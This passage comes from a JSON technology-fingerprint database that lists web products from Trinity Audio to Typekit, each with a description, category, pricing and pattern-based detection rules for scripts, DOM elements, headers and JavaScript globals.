\"TRINITY_PLAYER\": \"\"\n    },\n    \"pricing\": [\n      \"freemium\",\n      \"low\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"//trinitymedia\\\\.ai/\"\n    ],\n    \"website\": \"https://www.trinityaudio.ai\"\n  },\n  \"Tripadviser.Widget\": {\n    \"cats\": [\n      5\n    ],\n    \"description\": \"Tripadvisor embed reviews widget.\",\n    \"icon\": \"Tripadviser.Widget.svg\",\n    \"scriptSrc\": [\n      \"tripadvisor\\\\.[\\\\w]+/WidgetEmbed\"\n    ],\n    \"website\": \"https://www.tripadvisor.com/Widgets\"\n  },\n  \"Triple Whale\": {\n    \"cats\": [\n      10\n    ],\n    \"description\": \"The Triple Whale platform combines centralization, visualization, and attribution into a dashboard that presents and illustrates KPIs in an actionable way.\",\n    \"icon\": \"triplewhale.svg\",\n    \"pricing\": [\n      \"mid\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://triplewhale.com/\",\n    \"xhr\": [\n      \"triplewhale-pixel\\\\.web\\\\.app\"\n    ]\n  },\n  \"TripleLift\": {\n    \"cats\": [\n      36\n    ],\n    \"description\": \"TripleLift is an advertising technology company providing native programmatic to buyers and sellers.\",\n    \"dom\": {\n      \"iframe[src*='.3lift.com']\": {\n        \"attributes\": {\n          \"src\": \"\"\n        }\n      }\n    },\n    \"icon\": \"TripleLift.svg\",\n    \"pricing\": [\n      \"low\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://triplelift.com\",\n    \"xhr\": [\n      \"\\\\.3lift\\\\.com\"\n    ]\n  },\n  \"Triptease\": {\n    \"cats\": [\n      93\n    ],\n    \"description\": \"Triptease is a SaaS that provides digital tools that create better experiences and relationships between hotels and guests.\",\n    \"icon\": \"Triptease.svg\",\n    \"pricing\": [\n      \"low\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"\\\\.triptease\\\\.io/\"\n    ],\n    \"website\": \"https://www.triptease.com\"\n  },\n  \"Tritac Katana Commerce\": {\n    \"cats\": [\n      6\n    ],\n    \"description\": \"Katana Commerce is Tritac's B2B and B2C ecommerce platform.\",\n    \"icon\": \"Tritac.svg\",\n    \"meta\": {\n      \"powered-by\": \"^Katana\\\\sCommerce$\"\n    },\n    \"pricing\": [\n      \"mid\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://www.tritac.com/nl/producten/katana-commerce/\"\n  },\n  \"Trivago\": {\n    \"cats\": [\n      29\n    ],\n    \"description\": \"Trivago is a hotel search and booking engine that allows users to compare accommodation options and prices from various travel websites, helping them find the best deals.\",\n    \"icon\": \"Trivago.svg\",\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"www\\\\.trivago\\\\.it\"\n    ],\n    \"website\": \"https://www.trivago.com\"\n  },\n  \"Trix\": {\n    \"cats\": [\n      24\n    ],\n    \"description\": \"Trix is an open-source project from Basecamp, the creators of Ruby on Rails.\",\n    \"icon\": \"trix.svg\",\n    \"js\": {\n      \"Trix.VERSION\": \"^(.+)$\\\\;version:\\\\1\"\n    },\n    \"website\": \"https://trix-editor.org\"\n  },\n  \"Trove Recommerce\": {\n    \"cats\": [\n      6\n    ],\n    \"description\": \"Trove (formerly Yerdle) builds white-label technology and end-to-end operations for ecommerce platforms.\",\n    \"dom\": [\n      \"img[src*='res.cloudinary.com/yerdle']\"\n    ],\n    \"headers\": {\n      \"x-trove-app-name\": \"\",\n      \"x-trove-country-code\": \"\",\n      \"x-trove-order-uuid\": \"\",\n      \"x-yerdle-app-name\": \"\"\n    },\n    \"icon\": \"trove.svg\",\n    \"saas\": true,\n    \"website\": \"https://trove.co\",\n    \"xhr\": [\n      \"reware-production\\\\.yerdlesite\\\\.com\"\n    ]\n  },\n  \"TruValidate\": {\n    \"cats\": [\n      16,\n      83\n    ],\n    \"description\": \"TransUnion TruValidate (previously ReputationShield/IDVision from iovation) is an online risk and fraud detection platform.\",\n    \"icon\": \"TruValidate.svg\",\n    \"pricing\": [\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"mpsnare\\\\.iesnare\\\\.com\",\n      \"ci-mpsnare\\\\.iovation\\\\.com\"\n    ],\n    \"website\": \"https://www.transunion.com/solution/truvalidate\"\n  },\n  \"True Fit\": {\n    \"cats\": [\n      76\n    ],\n    \"description\": \"True Fit is a data-driven personalisation platform for footwear and apparel retailers.\",\n    \"icon\": \"True Fit.svg\",\n    \"pricing\": [\n      \"low\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"cdn\\\\.truefitcorp\\\\.com/(?:.+/([\\\\d\\\\.]+))?\\\\;version:\\\\1\"\n    ],\n    \"website\": \"https://www.truefit.com\"\n  },\n  \"TrueCommerce\": {\n    \"cats\": [\n      6\n    ],\n    \"description\": \"TrueCommerce is an eCommerce platform.\",\n    \"icon\": \"Truecommerce.svg\",\n    \"scriptSrc\": [\n      \"cdn\\\\.nexternal\\\\.com/\"\n    ],\n    \"website\": \"https://www.truecommerce.com\"\n  },\n  \"Truepush\": {\n    \"cats\": [\n      32\n    ],\n    \"description\": \"Truepush is web-based push notification service available for PWA, AMP, WordPress, and Shopify.\",\n    \"icon\": \"truepush.svg\",\n    \"js\": {\n      \"truepush\": \"\",\n      \"truepushVersionInfo.key\": \"v([\\\\d\\\\.]+)\\\\;version:\\\\1\"\n    },\n    \"website\": \"https://www.truepush.com\"\n  },\n  \"Trumba\": {\n    \"cats\": [\n      72\n    ],\n    \"description\": \"Trumba offers web-hosted event calendar software for publishing online, interactive, calendars of events.\",\n    \"dom\": [\n      \"a[href*='www.trumba.com/calendars/']\"\n    ],\n    \"icon\": \"Trumba.svg\",\n    \"js\": {\n      \"$Trumba\": \"\",\n      \"$Trumba.version\": \"([\\\\d\\\\.]+)\\\\;version:\\\\1\",\n      \"Trumba\": \"\"\n    },\n    \"pricing\": [\n      \"mid\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://www.trumba.com\"\n  },\n  \"Trunkrs\": {\n    \"cats\": [\n      99\n    ],\n    \"description\": \"Trunkrs is a Dutch parcel delivery service.\",\n    \"icon\": \"Trunkrs.svg\",\n    \"requiresCategory\": [\n      6\n    ],\n    \"text\": [\n      \"\\\\bTrunkrs\\\\b\"\n    ],\n    \"website\": \"https://trunkrs.nl\"\n  },\n  \"TrustArc\": {\n    \"cats\": [\n      67\n    ],\n    \"description\": \"TrustArc provides software and services to help corporations update their privacy management processes so they comply with government laws and best practices.\",\n    \"icon\": \"TrustArc.svg\",\n    \"scriptSrc\": [\n      \"consent\\\\.trustarc\\\\.com\"\n    ],\n    \"website\": \"https://trustarc.com\"\n  },\n  \"TrustYou\": {\n    \"cats\": [\n      5\n    ],\n    \"description\": \"TrustYou is guest feedback and hotel reputation software company located in Germany.\",\n    \"dom\": {\n      \"iframe[src*='api.trustyou.com']\": {\n        \"attributes\": {\n          \"src\": \"\"\n        }\n      }\n    },\n    \"icon\": \"TrustYou.svg\",\n    \"saas\": true,\n    \"website\": \"https://www.trustyou.com\"\n  },\n  \"Trusted Shops\": {\n    \"cats\": [\n      90\n    ],\n    \"description\": \"Trusted Shops is a company that acts as a 3'rd party representing the common interests of both consumers and retailers.\",\n    \"icon\": \"Trusted Shops.svg\",\n    \"pricing\": [\n      \"low\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"widgets\\\\.trustedshops\\\\.com/\"\n    ],\n    \"website\": \"https://www.trustedshops.co.uk\"\n  },\n  \"Trustindex\": {\n    \"cats\": [\n      90\n    ],\n    \"description\": \"Trustindex is a review management tool that helps businesses effectively manage and monitor customer reviews.\",\n    \"dom\": [\n      \"link[href*='.trustindex.io/']\"\n    ],\n    \"icon\": \"Trustindex.svg\",\n    \"js\": {\n      \"Trustindex\": \"\"\n    },\n    \"pricing\": [\n      \"low\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://www.trustindex.io\"\n  },\n  \"Trustmaker\": {\n    \"cats\": [\n      32\n    ],\n    \"description\": \"Trustmaker is a platform that provides customizable social proof messages, FOMO campaign tools, and Conversion Rate Optimization (CRO) solutions.\",\n    \"icon\": \"Trustmaker.svg\",\n    \"pricing\": [\n      \"freemium\",\n      \"low\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"app\\\\.getcue\\\\.app/\"\n    ],\n    \"website\": \"https://thetrustmaker.com\"\n  },\n  \"Trustpilot\": {\n    \"cats\": [\n      90\n    ],\n    \"description\": \"Trustpilot is a Danish consumer review website which provide embed stand-alone applications in your website to show your most recent reviews, TrustScore, and star ratings.\",\n    \"icon\": \"Trustpilot.svg\",\n    \"js\": {\n      \"Trustpilot\": \"\"\n    },\n    \"pricing\": [\n      \"mid\",\n      \"freemium\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"\\\\.trustpilot\\\\.com\"\n    ],\n    \"website\": \"https://business.trustpilot.com\"\n  },\n  \"Trustspot\": {\n    \"cats\": [\n      90\n    ],\n    \"description\": \"TrustSpot provides a solution to capture ratings & reviews, video testimonials, photos, social experiences, and product Q&A.\",\n    \"icon\": \"Trustspot.svg\",\n    \"js\": {\n      \"trustspot_key\": \"\"\n    },\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"trustspot\\\\.io\"\n    ],\n    \"website\": \"https://trustspot.io/\"\n  },\n  \"Trustvox\": {\n    \"cats\": [\n      90\n    ],\n    \"description\": \"Trustvox collects reviews from customers who purchased ecommerce products and publishes them on product pages with Sincerity Seals.\",\n    \"icon\": \"Trustvox.png\",\n    \"js\": {\n      \"TrustvoxCertificateWidget\": \"\",\n      \"TrustvoxRatesWidget\": \"\",\n      \"_trustvox\": \"\",\n      \"_trustvox_colt\": \"\",\n      \"_trustvox_shelf_rate\": \"\",\n      \"trustvox_id\": \"\"\n    },\n    \"pricing\": [\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://site.trustvox.com.br\"\n  },\n  \"TryNow\": {\n    \"cats\": [\n      91\n    ],\n    \"description\": \"TryNow is an ecommerce platform designed to offer a try before you buy experience for shoppers.\",\n    \"icon\": \"TryNow.svg\",\n    \"js\": {\n      \"TryNowConfig\": \"\",\n      \"tryNowCheckout\": \"\"\n    },\n    \"pricing\": [\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"\\\\.trynow\\\\.net/shopify/([\\\\d\\\\.]+)/\\\\;version:\\\\1\"\n    ],\n    \"website\": \"https://www.trynow.io\"\n  },\n  \"Tula\": {\n    \"cats\": [\n      53,\n      72\n    ],\n    \"cookies\": {\n      \"_tulayoga_session\": \"\"\n    },\n    \"description\": \"Tula is a web-based yoga studio software facilitating management of payments, memberships, calendar sharing, registrations, credit tracking, attendance recording, and more for studio owners.\",\n    \"icon\": \"TulaSoftware.svg\",\n    \"js\": {\n      \"Tula\": \"\",\n      \"TulaSpinner\": \"\",\n      \"TulaUtil\": \"\"\n    },\n    \"pricing\": [\n      \"freemium\",\n      \"mid\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://tulasoftware.com\"\n  },\n  \"Tumblr\": {\n    \"cats\": [\n      11\n    ],\n    \"description\": \"Tumblr is a microblogging and social networking website. The service allows users to post multimedia and other content to a short-form blog.\",\n    \"dom\": [\n      \"iframe[src*='tumblr.com']\"\n    ],\n    \"headers\": {\n      \"X-Tumblr-User\": \"\"\n    },\n    \"html\": [\n      \"<iframe src=\\\"[^>]+tumblr\\\\.com\"\n    ],\n    \"icon\": \"Tumblr.svg\",\n    \"url\": [\n      \"^https?://(?:www\\\\.)?[^/]+\\\\.tumblr\\\\.com/\"\n    ],\n    \"website\": \"https://www.tumblr.com\"\n  },\n  \"Tunosite\": {\n    \"cats\": [\n      51\n    ],\n    \"description\": \"Tunosite is a web app builder for startups and business with combining content, membership, and discussions in one place, under your own brand with no coding skills required.\",\n    \"dom\": [\n      \"link[href*='app.tunosite.com']\"\n    ],\n    \"icon\": \"Tunosite.svg\",\n    \"pricing\": [\n      \"freemium\",\n      \"low\",\n      \"recurring\",\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"app\\\\.tunosite\\\\.com\"\n    ],\n    \"website\": \"https://tunosite.com\"\n  },\n  \"Turbo\": {\n    \"cats\": [\n      92\n    ],\n    \"description\": \"Turbo is a JavaScript framework for building fast web applications.\",\n    \"icon\": \"Turbo.svg\",\n    \"js\": {\n      \"Turbo\": \"\"\n    },\n    \"oss\": true,\n    \"website\": \"https://turbo.hotwired.dev/\"\n  },\n  \"Turbolinks\": {\n    \"cats\": [\n      92\n    ],\n    \"description\": \"Turbolinks is a Rails feature, available as a gem and enabled by default in new Rails apps. It is intended to speed up navigating between pages of your application.\",\n    \"js\": {\n      \"Turbolinks\": \"\"\n    },\n    \"oss\": true,\n    \"scriptSrc\": [\n      \"turolinks\\\\.js\"\n    ],\n    \"website\": \"https://github.com/turbolinks/turbolinks\"\n  },\n  \"TurfJS\": {\n    \"cats\": [\n      59\n    ],\n    \"description\": \"Turf is a modular geospatial engine written in JavaScript.\",\n    \"icon\": \"TurfJS.svg\",\n    \"js\": {\n      \"turf.feature\": \"\",\n      \"turf.point\": \"\",\n      \"turf.random\": \"\"\n    },\n    \"scriptSrc\": [\n      \"(turf@[\\\\d.]+)?/?turf\\\\.min\\\\.js\"\n    ],\n    \"website\": \"https://turfjs.org/\"\n  },\n  \"Twenty Eleven\": {\n    \"cats\": [\n      80\n    ],\n    \"description\": \"Twenty Eleven is the default WordPress theme for 2011.\",\n    \"dom\": [\n      \"link[href*='/wp-content/themes/twentyeleven/']\"\n    ],\n    \"icon\": \"WordPress.svg\",\n    \"pricing\": [\n      \"freemium\"\n    ],\n    \"requires\": [\n      \"WordPress\"\n    ],\n    \"website\": \"https://wordpress.org/themes/twentyeleven\"\n  },\n  \"Twenty Fifteen\": {\n    \"cats\": [\n      80\n    ],\n    \"description\": \"Twenty Fifteen is the default WordPress theme for 2015.\",\n    \"dom\": [\n      \"link#twentyfifteen-style-css\"\n    ],\n    \"icon\": \"WordPress.svg\",\n    \"pricing\": [\n      \"freemium\"\n    ],\n    \"requires\": [\n      \"WordPress\"\n    ],\n    \"scriptSrc\": [\n      \"/wp-content/themes/twentyfifteen/\"\n    ],\n    \"website\": \"https://wordpress.org/themes/twentyfifteen\"\n  },\n  \"Twenty Fourteen\": {\n    \"cats\": [\n      80\n    ],\n    \"description\": \"Twenty Fourteen is the default WordPress theme for 2014.\",\n    \"dom\": [\n      \"link#twentyfourteen-style-css, style#twentyfourteen-lato-css\"\n    ],\n    \"icon\": \"WordPress.svg\",\n    \"pricing\": [\n      \"freemium\"\n    ],\n    \"requires\": [\n      \"WordPress\"\n    ],\n    \"scriptSrc\": [\n      \"/wp-content/themes/twentyfourteen/\"\n    ],\n    \"website\": \"https://wordpress.org/themes/twentyfourteen\"\n  },\n  \"Twenty Nineteen\": {\n    \"cats\": [\n      80\n    ],\n    \"description\": \"Twenty Nineteen is the default WordPress theme for 2019.\",\n    \"dom\": [\n      \"link#twentynineteen-style-css\"\n    ],\n    \"icon\": \"WordPress.svg\",\n    \"pricing\": [\n      \"freemium\"\n    ],\n    \"requires\": [\n      \"WordPress\"\n    ],\n    \"scriptSrc\": [\n      \"/wp-content/themes/twentynineteen/\"\n    ],\n    \"website\": \"https://wordpress.org/themes/twentynineteen\"\n  },\n  \"Twenty Seventeen\": {\n    \"cats\": [\n      80\n    ],\n    \"description\": \"Twenty Seventeen is the default WordPress theme for 2017.\",\n    \"dom\": [\n      \"link#twentyseventeen-style-css\"\n    ],\n    \"icon\": \"WordPress.svg\",\n    \"js\": {\n      \"twentyseventeenScreenReaderText\": \"\"\n    },\n    \"pricing\": [\n      \"freemium\"\n    ],\n    \"requires\": [\n      \"WordPress\"\n    ],\n    \"scriptSrc\": [\n      \"/wp-content/themes/twentyseventeen/\"\n    ],\n    \"website\": \"https://wordpress.org/themes/twentyseventeen\"\n  },\n  \"Twenty Sixteen\": {\n    \"cats\": [\n      80\n    ],\n    \"description\": \"Twenty Sixteen is the default WordPress theme for 2016.\",\n    \"dom\": [\n      \"link#twentysixteen-style-css\"\n    ],\n    \"icon\": \"WordPress.svg\",\n    \"pricing\": [\n      \"freemium\"\n    ],\n    \"requires\": [\n      \"WordPress\"\n    ],\n    \"scriptSrc\": [\n      \"/wp-content/themes/twentysixteen/\"\n    ],\n    \"website\": \"https://wordpress.org/themes/twentysixteen\"\n  },\n  \"Twenty Ten\": {\n    \"cats\": [\n      80\n    ],\n    \"description\": \"Twenty Ten is the default WordPress theme for 2010.\",\n    \"dom\": [\n      \"link[href*='/wp-content/themes/twentyten/']\"\n    ],\n    \"icon\": \"WordPress.svg\",\n    \"pricing\": [\n      \"freemium\"\n    ],\n    \"requires\": [\n      \"WordPress\"\n    ],\n    \"scriptSrc\": [\n      \"/wp-content/themes/twentyten/\"\n    ],\n    \"website\": \"https://wordpress.org/themes/twentyten\"\n  },\n  \"Twenty Thirteen\": {\n    \"cats\": [\n      80\n    ],\n    \"description\": \"Twenty Thirteen is the default WordPress theme for 2013.\",\n    \"dom\": [\n      \"link#twentythirteen-style-css\"\n    ],\n    \"icon\": \"WordPress.svg\",\n    \"pricing\": [\n      \"freemium\"\n    ],\n    \"requires\": [\n      \"WordPress\"\n    ],\n    \"scriptSrc\": [\n      \"/wp-content/themes/twentythirteen/\"\n    ],\n    \"website\": \"https://wordpress.org/themes/twentythirteen\"\n  },\n  \"Twenty Twelve\": {\n    \"cats\": [\n      80\n    ],\n    \"description\": \"Twenty Twelve is the default WordPress theme for 2012.\",\n    \"dom\": [\n      \"link#twentytwelve-style-css\"\n    ],\n    \"icon\": \"WordPress.svg\",\n    \"pricing\": [\n      \"freemium\"\n    ],\n    \"requires\": [\n      \"WordPress\"\n    ],\n    \"scriptSrc\": [\n      \"/wp-content/themes/twentytwelve/\"\n    ],\n    \"website\": \"https://wordpress.org/themes/twentytwelve\"\n  },\n  \"Twenty Twenty\": {\n    \"cats\": [\n      80\n    ],\n    \"description\": \"Twenty Twenty is the default WordPress theme for 2020.\",\n    \"dom\": [\n      \"link#twentytwenty-style-css\"\n    ],\n    \"icon\": \"WordPress.svg\",\n    \"js\": {\n      \"twentytwenty\": \"\"\n    },\n    \"pricing\": [\n      \"freemium\"\n    ],\n    \"requires\": [\n      \"WordPress\"\n    ],\n    \"scriptSrc\": [\n      \"/wp-content/themes/twentytwenty/\"\n    ],\n    \"website\": \"https://wordpress.org/themes/twentytwenty\"\n  },\n  \"Twenty Twenty-One\": {\n    \"cats\": [\n      80\n    ],\n    \"description\": \"Twenty Twenty-One is the default WordPress theme for 2021.\",\n    \"dom\": [\n      \"link#twenty-twenty-one-style-css\"\n    ],\n    \"icon\": \"WordPress.svg\",\n    \"js\": {\n      \"twentytwentyoneCollapseMenuOnClickOutside\": \"\",\n      \"twentytwentyoneResponsiveEmbeds\": \"\"\n    },\n    \"pricing\": [\n      \"freemium\"\n    ],\n    \"requires\": [\n      \"WordPress\"\n    ],\n    \"scriptSrc\": [\n      \"/wp-content/themes/twentytwentyone/\"\n    ],\n    \"website\": \"https://wordpress.org/themes/twentytwentyone\"\n  },\n  \"Twenty Twenty-Three\": {\n    \"cats\": [\n      80\n    ],\n    \"description\": \"Twenty Twenty-Three is the default WordPress theme for 2023.\",\n    \"dom\": {\n      \"style#webfonts-inline-css\": {\n        \"text\": \"/wp-content/themes/twentytwentythree/assets/fonts/\"\n      },\n      \"style#wp-webfonts-inline-css\": {\n        \"text\": \"/wp-content/themes/twentytwentythree/assets/fonts/\"\n      }\n    },\n    \"icon\": \"WordPress.svg\",\n    \"pricing\": [\n      \"freemium\"\n    ],\n    \"requires\": [\n      \"WordPress\"\n    ],\n    \"website\": \"https://wordpress.org/themes/twentytwentythree\"\n  },\n  \"Twenty Twenty-Two\": {\n    \"cats\": [\n      80\n    ],\n    \"description\": \"Twenty Twenty-Two is the default WordPress theme for 2022.\",\n    \"dom\": {\n      \"link#twentytwentytwo-style-css\": {},\n      \"style#webfonts-inline-css\": {\n        \"text\": \"/wp-content/themes/twentytwentytwo/assets/fonts/\"\n      },\n      \"style#wp-webfonts-inline-css\": {\n        \"text\": \"/wp-content/themes/twentytwentytwo/assets/fonts/\"\n      }\n    },\n    \"icon\": \"WordPress.svg\",\n    \"pricing\": [\n      \"freemium\"\n    ],\n    \"requires\": [\n      \"WordPress\"\n    ],\n    \"website\": \"https://wordpress.org/themes/twentytwentytwo\"\n  },\n  \"TwicPics\": {\n    \"cats\": [\n      31,\n      59\n    ],\n    \"description\": \"TwicPics offers on-demand responsive image generation.\",\n    \"dom\": {\n      \".twic\": {\n        \"attributes\": {\n          \"data-src\": \"\"\n        }\n      },\n      \"[data-twic-src]\": {\n        \"attributes\": {\n          \"data-twic-src\": \"\"\n        }\n      },\n      \"data-twic-background\": {\n        \"attributes\": {\n          \"data-twic-background\": \"\"\n        }\n      }\n    },\n    \"headers\": {\n      \"server\": \"^TwicPics/\\\\d+\\\\.\\\\d+\\\\.\\\\d+$\"\n    },\n    \"icon\": \"TwicPics.svg\",\n    \"pricing\": [\n      \"freemium\",\n      \"recurring\",\n      \"payg\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \".+\\\\.twic\\\\.pics\"\n    ],\n    \"website\": \"https://www.twicpics.com\"\n  },\n  \"Twik\": {\n    \"cats\": [\n      76\n    ],\n    \"cpe\": \"cpe:2.3:a:twiki:twiki:-:*:*:*:*:*:*:*\",\n    \"description\": \"Twik provides a automated, no-configuration business intelligence & personalization automation engine.\",\n    \"icon\": \"Twik.svg\",\n    \"js\": {\n      \"TWIK_ID\": \"\"\n    },\n    \"pricing\": [\n      \"low\",\n      \"freemium\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"cdn\\\\.twik\\\\.io\"\n    ],\n    \"website\": \"https://www.twik.io/\"\n  },\n  \"Twikoo\": {\n    \"cats\": [\n      15\n    ],\n    \"description\": \"Twikoo is a simple, safe, free comment system.\",\n    \"icon\": \"Twikoo.svg\",\n    \"js\": {\n      \"twikoo.version\": \"^([\\\\d\\\\.]+)$\\\\;version:\\\\1\"\n    },\n    \"oss\": true,\n    \"scriptSrc\": [\n      \"/twikoo/dist/twikoo\\\\.all\\\\.min\\\\.js\"\n    ],\n    \"website\": \"https://twikoo.js.org\"\n  },\n  \"Twilight CMS\": {\n    \"cats\": [\n      1\n    ],\n    \"headers\": {\n      \"X-Powered-CMS\": \"Twilight CMS\"\n    },\n    \"icon\": \"Twilight CMS.png\",\n    \"website\": \"https://www.twilightcms.com\"\n  },\n  \"Twilio Authy\": {\n    \"cats\": [\n      69\n    ],\n    \"description\": \"Twilio Authy provides Two-factor authentication (2FA) adds an additional layer of protection beyond passwords.\",\n    \"icon\": \"twilio_authy.svg\",\n    \"js\": {\n      \"Authy\": \"\"\n    },\n    \"website\": \"https://authy.com\"\n  },\n  \"TwistPHP\": {\n    \"cats\": [\n      18\n    ],\n    \"headers\": {\n      \"X-Powered-By\": \"TwistPHP\"\n    },\n    \"icon\": \"TwistPHP.png\",\n    \"implies\": [\n      \"PHP\"\n    ],\n    \"website\": \"https://twistphp.com\"\n  },\n  \"TwistedWeb\": {\n    \"cats\": [\n      22\n    ],\n    \"headers\": {\n      \"Server\": \"TwistedWeb(?:/([\\\\d.]+))?\\\\;version:\\\\1\"\n    },\n    \"icon\": \"TwistedWeb.png\",\n    \"oss\": true,\n    \"website\": \"https://twistedmatrix.com/trac/wiki/TwistedWeb\"\n  },\n  \"Twitch Player\": {\n    \"cats\": [\n      14\n    ],\n    \"description\": \"Twitch is an American video live streaming service that focuses on video game live streaming, including broadcasts of esports competitions.\",\n    \"dom\": [\n      \"iframe[src*='player\\\\.twitch\\\\.tv']\"\n    ],\n    \"icon\": \"Twitch.svg\",\n    \"js\": {\n      \"Twitch.Embed\": \"\",\n      \"twitchPlayer\": \"\"\n    },\n    \"website\": \"https://dev.twitch.tv/docs/embed/video-and-clips/\"\n  },\n  \"Twitter\": {\n    \"cats\": [\n      5\n    ],\n    \"description\": \"Twitter is a 'microblogging' system that allows you to send and receive short posts called tweets.\",\n    \"icon\": \"Twitter.svg\",\n    \"scriptSrc\": [\n      \"//platform\\\\.twitter\\\\.com/widgets\\\\.js\"\n    ],\n    \"website\": \"https://twitter.com\"\n  },\n  \"Twitter Ads\": {\n    \"cats\": [\n      36\n    ],\n    \"description\": \"Twitter Ads is an advertising platform for Twitter 'microblogging' system.\",\n    \"icon\": \"Twitter.svg\",\n    \"js\": {\n      \"twttr\": \"\"\n    },\n    \"pricing\": [\n      \"payg\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"static\\\\.ads-twitter\\\\.com/uwt\\\\.js\"\n    ],\n    \"website\": \"https://ads.twitter.com\"\n  },\n  \"Twitter Analytics\": {\n    \"cats\": [\n      10\n    ],\n    \"description\": \"Twitter Analytics is a built-in data-tracking platform that shows you insights specific to your Twitter account and activity.\",\n    \"icon\": \"Twitter.svg\",\n    \"pricing\": [\n      \"freemium\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"analytics\\\\.twitter\\\\.com\"\n    ],\n    \"website\": \"https://analytics.twitter.com\"\n  },\n  \"Twitter Emoji (Twemoji)\": {\n    \"cats\": [\n      17\n    ],\n    \"description\": \"Twitter Emoji is a set of open-source emoticons and emojis for Twitter, TweetDeck, and also for Android and iOS versions of the application.\",\n    \"js\": {\n      \"twemoji\": \"\",\n      \"twemoji.base\": \"twemoji\\\\.maxcdn\\\\.com/v/([\\\\d\\\\.]+)/\\\\;version:\\\\1\"\n    },\n    \"oss\": true,\n    \"scriptSrc\": [\n      \"twemoji(?:\\\\.min)?\\\\.js\"\n    ],\n    \"website\": \"https://twitter.github.io/twemoji/\"\n  },\n  \"Twitter Flight\": {\n    \"cats\": [\n      12\n    ],\n    \"description\": \"Twitter Flight is a lightweight, component-based JavaScript framework for building web applications.\",\n    \"icon\": \"Twitter Flight.svg\",\n    \"implies\": [\n      \"jQuery\"\n    ],\n    \"js\": {\n      \"flight\": \"\"\n    },\n    \"oss\": true,\n    \"website\": \"https://flightjs.github.io/\"\n  },\n  \"Twitter typeahead.js\": {\n    \"cats\": [\n      59\n    ],\n    \"icon\": \"Twitter typeahead.js.png\",\n    \"implies\": [\n      \"jQuery\"\n    ],\n    \"js\": {\n      \"typeahead\": \"\"\n    },\n    \"scriptSrc\": [\n      \"(?:typeahead|bloodhound)\\\\.(?:jquery|bundle)?(?:\\\\.min)?\\\\.js\"\n    ],\n    \"website\": \"https://twitter.github.io/typeahead.js\"\n  },\n  \"TypeDoc\": {\n    \"cats\": [\n      4\n    ],\n    \"description\": \"TypeDoc is an API documentation generator for TypeScript projects.\",\n    \"icon\": \"TypeDoc.svg\",\n    \"implies\": [\n      \"TypeScript\"\n    ],\n    \"oss\": true,\n    \"website\": \"https://typedoc.org\"\n  },\n  \"TypePad\": {\n    \"cats\": [\n      11\n    ],\n    \"description\": \"Typepad is a blog hosting service.\",\n    \"icon\": \"TypePad.svg\",\n    \"meta\": {\n      \"generator\": \"typepad\"\n    },\n    \"url\": [\n      \"typepad\\\\.com\"\n    ],\n    \"website\": \"https://www.typepad.com\"\n  },\n  \"TypeScript\": {\n    \"cats\": [\n      27\n    ],\n    \"description\": \"TypeScript is an open-source language which builds on JavaScript  by adding static type definitions.\",\n    \"icon\": \"TypeScript.svg\",\n    \"oss\": true,\n    \"website\": \"https://www.typescriptlang.org\"\n  },\n  \"Typecho\": {\n    \"cats\": [\n      11\n    ],\n    \"cpe\": \"cpe:2.3:a:typecho:typecho:*:*:*:*:*:*:*:*\",\n    \"description\": \"Typecho is a PHP Blogging Platform.\",\n    \"icon\": \"typecho.svg\",\n    \"implies\": [\n      \"PHP\"\n    ],\n    \"js\": {\n      \"TypechoComment\": \"\"\n    },\n    \"meta\": {\n      \"generator\": \"Typecho( [\\\\d.]+)?\\\\;version:\\\\1\"\n    },\n    \"url\": [\n      \"/admin/login\\\\.php?referer=http%3A%2F%2F\"\n    ],\n    \"website\": \"https://typecho.org/\"\n  },\n  \"Typed.js\": {\n    \"cats\": [\n      59\n    ],\n    \"description\": \"Typed.js is a library that types. It is designed to create typewriter-style animations with ease.\",\n    \"oss\": true,\n    \"scriptSrc\": [\n      \"typed(?:\\\\.min)?\\\\.js(?:\\\\?v(?:er)?=((?:\\\\d+\\\\.)+\\\\d+))?\\\\;version:\\\\1\"\n    ],\n    \"website\": \"https://mattboldt.com/demos/typed-js/\"\n  },\n  \"Typeform\": {\n    \"cats\": [\n      73\n    ],\n    \"description\": \"Typeform is a Spanish online software as a service (SaaS) company that specialises in online form building and online surveys.\",\n    \"dom\": [\n      \"link[href*='.typeform.com/']\"\n    ],\n    \"icon\": \"Typeform.svg\",\n    \"js\": {\n      \"tf.createPopover\": \"\",\n      \"tf.createWidget\": \"\"\n    },\n    \"pricing\": [\n      \"low\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"embed\\\\.typeform\\\\.com/\"\n    ],\n    \"website\": \"https://www.typeform.com\"\n  },\n  \"Typekit\": {\n    \"cats\": [\n      17\n    ],\n    \"description\": \"Typekit is an online service which offers a subscription library of fonts.\",\n    \"html\": [\n      \"<link [^>]*href=\\\"[^\\\"]+use\\\\.typekit\\\\.(?:net|com)\"\n    ],\n    \"icon\": \"Typekit.png\",\n    \"js\": {\n      \"Typekit.config.js\": \"^(.+)$\\\\;version:\\\\1\"\n    },\n    